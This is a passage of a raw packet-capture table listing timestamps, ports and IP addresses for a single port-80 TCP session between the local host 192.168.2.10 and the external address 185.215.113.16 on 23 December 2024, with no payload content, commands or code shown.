Dec 23, 2024 08:15:45.510409117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.510454893 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.511442900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.511590004 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.511687994 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.512765884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.512778044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.512852907 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.513955116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.513967991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.514023066 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.515149117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.515336990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.515389919 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.516366005 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.516554117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.516644955 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.517719984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.517733097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.517818928 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.518690109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.518866062 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.518906116 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.519896984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.569623947 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.646190882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.646203995 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.646322966 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.646660089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.646768093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.646828890 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.647866964 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.647880077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.648062944 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.648849010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.648962975 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.649003029 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.649970055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.650082111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.650196075 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.651294947 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.651321888 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.651372910 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.652172089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.652276993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.652404070 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.653304100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.653407097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.653471947 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.654400110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.654485941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.654663086 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.655528069 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.655663013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.655697107 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.656635046 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.656764984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.656944990 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.657730103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.657855034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.657926083 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.658965111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.658977985 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.659246922 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.659945965 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.660128117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.660167933 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.661063910 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.661127090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.661164999 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.662375927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.662389994 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.662569046 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.663288116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.663369894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.663418055 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.664380074 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.664488077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.664526939 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.665498972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.665616035 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.665707111 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.666594982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.666716099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.666806936 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.667748928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.667843103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.667896986 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.668816090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.668961048 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.669015884 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.669976950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.670087099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.670171976 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.671202898 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.671216011 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.671257973 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.672153950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.672308922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.672420979 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.673311949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.673356056 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.673460007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.674386978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.674499989 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.674621105 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.675497055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.675599098 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.675645113 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.676580906 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.676702023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.676740885 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.677716017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.677814007 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.677853107 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.678813934 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.678925991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.679950953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.679995060 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.680067062 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.680216074 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.681036949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.681175947 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.681210041 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.682173014 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.682260036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.682298899 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.683252096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.683439016 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.683486938 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.684364080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.684422970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.684461117 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.685457945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.685583115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.685826063 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.686573982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.686702967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.686742067 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.687717915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.687849045 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.687890053 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.688868046 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.688983917 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.689059019 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.689919949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.690057039 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.690109968 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.691015959 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.691186905 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.691215038 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.692121983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.692257881 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.692291975 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.693255901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.693350077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.693471909 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.694356918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.694457054 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.694530010 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.695455074 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.695616961 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.695724964 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.696547985 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.696667910 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.696733952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.697659969 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.697729111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.697895050 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.698781967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.698868036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.698940992 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.699867010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.699933052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.700002909 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.700974941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.701091051 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.701124907 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.702132940 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.702225924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.702374935 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.703208923 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.703339100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.703485966 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.704257965 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.756890059 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.838310957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.838378906 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.838772058 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.839001894 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.839201927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.839215040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.839250088 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.840116978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.840254068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.840656042 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.841240883 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.841284037 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.841342926 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.842346907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.842406988 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.842413902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.843416929 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.843452930 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.843533993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.844515085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.844579935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.845025063 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.845681906 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.845766068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.845808029 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.847104073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.847115040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.847395897 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.847856045 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.847963095 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.848445892 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.848949909 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.849021912 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.849185944 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.850589991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.850609064 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.850904942 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.851161957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.851196051 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.851275921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.852271080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.852380037 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.852596998 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.853403091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.853441954 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.853454113 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.854552031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.854593992 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.854691982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.855714083 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.855725050 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.855983019 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.856714964 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.856754065 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.856822968 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.857805967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.857980967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.858114004 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.859091043 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.859102011 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.859395981 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.860044003 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.860088110 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.860151052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.861140013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.861252069 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.861507893 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.862452030 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.862493038 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.863234043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.863370895 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.863526106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.863986015 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.864478111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.864520073 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.864594936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.865586042 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.865626097 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.865703106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.866703987 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.866741896 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.866755009 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.867800951 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.867842913 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.867912054 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.868916035 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.868949890 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.868952036 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.870007038 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.870183945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.870294094 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.871155977 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.871197939 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.871237040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.872253895 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.872349024 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.872364044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.873343945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.873509884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.873989105 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.874454975 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.874514103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.874641895 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.875569105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.875606060 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.875618935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.876703024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.876815081 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.876935005 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.877799034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.877835035 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.877890110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.878891945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.878923893 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.879000902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.880007029 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.880090952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.881097078 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.881140947 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.881140947 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.881269932 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.882226944 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.882343054 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.883343935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.883398056 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.883398056 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.883436918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.884443998 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.884560108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.884565115 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.885585070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.885616064 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.885709047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.886704922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.886794090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.886795998 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.887630939 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.887782097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.887825966 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.887875080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.888932943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.888969898 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.889079094 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.889986038 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.890019894 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.890074968 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.891124010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.891266108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.891274929 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.892215967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.892254114 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:45.892313957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.893321991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:45.893363953 CET	49763	80	192.168.2.10	185.215.113.16
